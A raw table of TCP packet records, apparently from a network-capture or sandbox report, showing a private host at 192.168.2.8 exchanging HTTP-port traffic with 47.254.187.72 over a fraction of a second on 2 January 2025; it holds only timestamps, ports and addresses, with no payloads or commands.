Jan 2, 2025 20:20:04.212160110 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212172985 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212191105 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212203979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212205887 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212205887 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212214947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212223053 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212249994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212265968 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212270975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212284088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212296963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212305069 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212311029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212323904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212326050 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212337017 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212338924 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212352991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212362051 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212364912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212397099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212408066 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212408066 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212418079 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212429047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212430000 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212440014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212451935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212462902 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212471008 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212477922 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212506056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212516069 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212516069 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212538958 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212543011 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212558031 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212562084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212578058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212599039 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212600946 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212600946 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212621927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212626934 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212636948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212654114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212665081 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212666035 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212666035 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212677956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212682962 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212692022 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212703943 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212713003 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212718964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212732077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212743044 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212743998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212743044 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212758064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212770939 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212781906 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212789059 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212789059 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212799072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212810040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212821960 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212831974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212832928 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212846041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212860107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212872982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212874889 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212874889 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212887049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212898016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212909937 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212910891 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212923050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212929964 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212938070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212950945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212961912 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212963104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212974072 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212977886 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212992907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.213004112 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.213010073 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.213020086 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.213032007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.213044882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.213047981 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.213047981 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.213057041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.213073969 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.213076115 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.213114023 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.213114023 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.406177044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.406203985 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.406218052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.406229973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.406255007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.406267881 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.406279087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.406302929 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.406302929 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.406347990 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.433835030 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.433849096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.433856010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.433876991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.433888912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.433901072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.433916092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.433928967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.433938026 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.433948994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.433980942 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.433980942 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.434006929 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.434159994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434171915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434182882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434231997 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.434232950 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.434252977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434272051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434283972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434295893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434309006 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434324980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434325933 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.434325933 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.434333086 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434345961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434356928 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.434367895 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434381008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434391975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434397936 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.434431076 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.434432030 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.434437037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434449911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434462070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434469938 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.434482098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434494972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434508085 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434510946 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.434524059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434531927 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.434535980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434545994 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.434556007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434568882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434575081 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434582949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434588909 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434600115 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.434600115 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.434607029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434628010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434648037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434659004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434659958 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.434659958 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.434673071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434679031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434684992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434695959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434703112 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.434717894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434729099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434735060 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.434735060 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.434741020 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434755087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434767008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434779882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434791088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434798002 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.434798002 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.434807062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434813023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434818983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434829950 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434847116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434849977 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.434849977 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.434869051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434870005 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.434881926 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434890032 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.434896946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434910059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434921980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434933901 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434936047 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.434936047 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.434945107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434958935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.434958935 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.434973001 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435002089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435003042 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.435003042 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.435030937 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.435054064 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.435061932 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435075045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435094118 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435107946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435120106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435132027 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435136080 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.435136080 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.435152054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435165882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435169935 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.435178041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435193062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435204983 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.435204983 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.435214996 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435234070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435251951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435254097 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.435276985 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435297966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435309887 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435319901 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.435319901 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.435333967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435338020 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.435348988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435350895 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.435363054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435374975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435386896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435409069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435420036 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.435420036 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.435422897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435440063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435448885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435467005 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.435467005 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.435467958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435481071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435492992 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.435492992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435517073 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435528040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435539007 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.435540915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435547113 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.435554981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435568094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435587883 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435590982 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.435600042 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435609102 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.435615063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435633898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435635090 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.435646057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435657978 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.435662031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435674906 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435687065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435688019 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.435698986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435722113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435733080 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.435734034 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435733080 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.435748100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435761929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.435761929 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.435806036 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.435806036 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.604307890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.604325056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.604345083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.604357958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.604371071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.604382038 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.604382992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.604397058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.604415894 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.604495049 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.635759115 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.635838985 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.635876894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.635890961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.635902882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.635915995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.635936022 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.635937929 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.635950089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636007071 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636007071 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636028051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636040926 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636053085 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636069059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636082888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636082888 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636095047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636111021 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636117935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636135101 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636140108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636157990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636159897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636173964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636187077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636209965 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636214018 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636214972 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636223078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636234999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636249065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636265993 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636265993 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636269093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636286020 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636296988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636310101 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636315107 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636315107 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.636322975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636329889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636334896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.636339903 CET	80	49704	47.254.187.72	192.168.2.8
